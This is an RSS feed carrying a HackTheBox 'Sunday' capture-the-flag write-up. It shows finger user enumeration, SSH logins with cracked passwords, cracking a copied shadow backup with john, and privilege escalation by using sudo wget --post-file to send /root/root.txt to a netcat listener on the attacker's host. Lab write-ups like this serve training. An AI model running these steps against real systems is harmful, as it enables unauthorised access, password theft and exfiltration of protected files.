<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sunday Archives -</title>
	<atom:link href="https://barriersec.com/category/hackthebox/sunday/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/hackthebox/sunday/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:20:19 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>Sunday Archives -</title>
	<link>https://barriersec.com/category/hackthebox/sunday/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>HackTheBox &#8211; Sunday Writeup</title>
		<link>https://barriersec.com/2018/09/hackthebox-sunday-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 29 Sep 2018 20:35:20 +0000</pubDate>
				<category><![CDATA[Sunday]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[sunday]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=236</guid>

					<description><![CDATA[<p>Hi All, Today we are going to solve  &#8216;Sunday&#8217; machine from hackthebox. This was one of the easiest boxes on&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-sunday-writeup/">HackTheBox &#8211; Sunday Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All, Today we are going to solve  &#8216;Sunday&#8217; machine from hackthebox. This was one of the easiest boxes on HTB. Lets begin with <strong>nmap</strong> scan.</p>
<blockquote><p><strong>nmap -p- 10.10.10.76</strong></p></blockquote>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p><strong>PORT                   STATE         SERVICE</strong><br />
<strong>79/tcp                 open             finger</strong></p>
<p><strong>22022                 open              SSH</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>This was the most frustrating part, as the services on this box were unstable and unresponsive.</p>
<p>so, we can use <strong>finger</strong>  service to enumerate users on the box.</p>
<p>we can use a custom wordlist and finally make use of this enum script by pentest monkey :</p>
<p><a href="http://pentestmonkey.net/tools/user-enumeration/finger-user-enum">http://pentestmonkey.net/tools/user-enumeration/finger-user-enum</a></p>
<p>we find that a user named <strong>sunny</strong> exists on the remote machine. through the list.</p>
<p><strong>root@kali:~# finger sunny@10.10.10.76</strong><br />
<strong>Login Name   TTY     Idle         When                        Where</strong><br />
<strong>sunny sunny    pts/3            &lt;Apr 24 01:51&gt;     10.10.14.7</strong></p>
<p>we also found out that after few brute attempts, we can use <strong>sunny</strong> user to login with password <strong>sunday. </strong>Lets use this to SSH in to the victim box.</p>
<p>root@kali:~#<strong> ssh sunny@10.10.10.76 -p 22022</strong></p>
<p>password : <strong>sunday</strong></p>
<p><strong>Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008</strong><br />
<strong>sunny@sunday:~$ ls</strong><br />
<strong>Desktop Documents Downloads local.cshrc local.login local.profile Public</strong></p>
<p>&nbsp;</p>
<p>we are in! but after quick enumeration it was found out we cannot read &#8220;user.txt&#8221; as its owned by another user named <strong>sammy.</strong></p>
<p><strong>sunny@sunday:/export/home/sammy/Desktop$ cat user.txt</strong><br />
<strong>cat: user.txt: Permission denied</strong></p>
<p>after looking around, we find an interesting backup file in the <strong>backup</strong> folder .</p>
<p><strong>sunny@sunday:/$ cd backup</strong><br />
<strong>sunny@sunday:/backup$ ls</strong><br />
agent22.backup<strong> shadow.backup</strong></p>
<p>its backup of shadow file! lets copy it back to our attacker box along with <strong>/etc/passwd</strong> file and crack it using <strong>john</strong>.</p>
<p>sunny@sunday:/backup$ cat shadow.backup<br />
&lt;&lt;snipped&gt;&gt;</p>
<p><strong>sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::</strong><br />
<strong>sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>on our attacker box , first lets convert it to a format so <strong>john</strong> can crack it.</p>
<p>root@kali#<strong>unshadow passwd shadow &gt; pass.db</strong></p>
<p>root@kali# <strong>john pass.db &#8211;wordlist=/root/Downloads/rockyou.txt</strong></p>
<p>root@kali# <strong>john &#8211;show pass.db</strong><br />
sammy: <strong>cooldude!</strong> :101:10:sammy:/export/home/sammy:/bin/bash<br />
sunny: <strong>sunday </strong>:65535:1:sunny:/export/home/sunny:/bin/bash</p>
<p><strong>2 password hashes cracked, 0 left</strong></p>
<p>cool! now we know password for <strong>sammy</strong> user as <strong>cooldude!</strong></p>
<p>Lets SSH in using the creds and quickly grab the <strong>user.txt</strong> flag.</p>
<p>root@kali:~# <strong>ssh sammy@10.10.10.76 -p 22022</strong><br />
Password: <strong>cooldude!</strong></p>
<p><strong>sammy@sunday:~/Desktop$ cat user.txt</strong></p>
<p>Now lets move on to privilege escalation to root user.</p>
<p>by enumerating the box, we found out <strong>sammy</strong> can run few commands as root. he can run <strong>wget</strong>  as root  . This is another classic priv esc technique in which we can read files owned by root.</p>
<p><strong>sammy@sunday:~/Desktop$ sudo -l</strong><br />
<strong>User sammy may run the following commands on this host:</strong><br />
<strong>(root) NOPASSWD: /usr/bin/wget</strong></p>
<p>wget has<strong> &#8211;post-file</strong> option which can be used to post file contents to a remote server</p>
<p>For this , we will read root flag using this vector.</p>
<p>lets setup a netcat listener on our attacker box :</p>
<p><strong>root@kali:~/Desktop/hackthebox/sunday# nc -lvp 8000</strong><br />
<strong>listening on [any] 8000 &#8230;</strong></p>
<p>and on victim box,</p>
<p><strong>sudo wget &#8211;post-file=/root/root.txt 10.10.14.13:8000</strong></p>
<p>we should be able to receive the content of root flag by now on our netcat listener .</p>
<p>root@kali:~/Desktop/hackthebox/sunday# <strong>nc -lvp 8000</strong><br />
listening on [any] 8000 &#8230;<br />
10.10.10.76: inverse host lookup failed: Unknown host<br />
<strong>connect to [10.10.14.13] from (UNKNOWN) [10.10.10.76] 42964</strong><br />
POST / HTTP/1.0<br />
User-Agent: Wget/1.10.2<br />
Accept: */*<br />
Host: 10.10.14.13:8000<br />
Connection: Keep-Alive<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 33</p>
<p><strong>&lt;&lt;contents of root flag&gt;&gt;</strong></p>
<p>I also tried replacing the /etc/passwd file with our added user on to the victim server using another wget priv esc vector. for some reason it failed.</p>
<p>nevertheless, we grabbed the  <strong>root flag</strong> <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> stay tuned for next writeup!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-sunday-writeup/">HackTheBox &#8211; Sunday Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
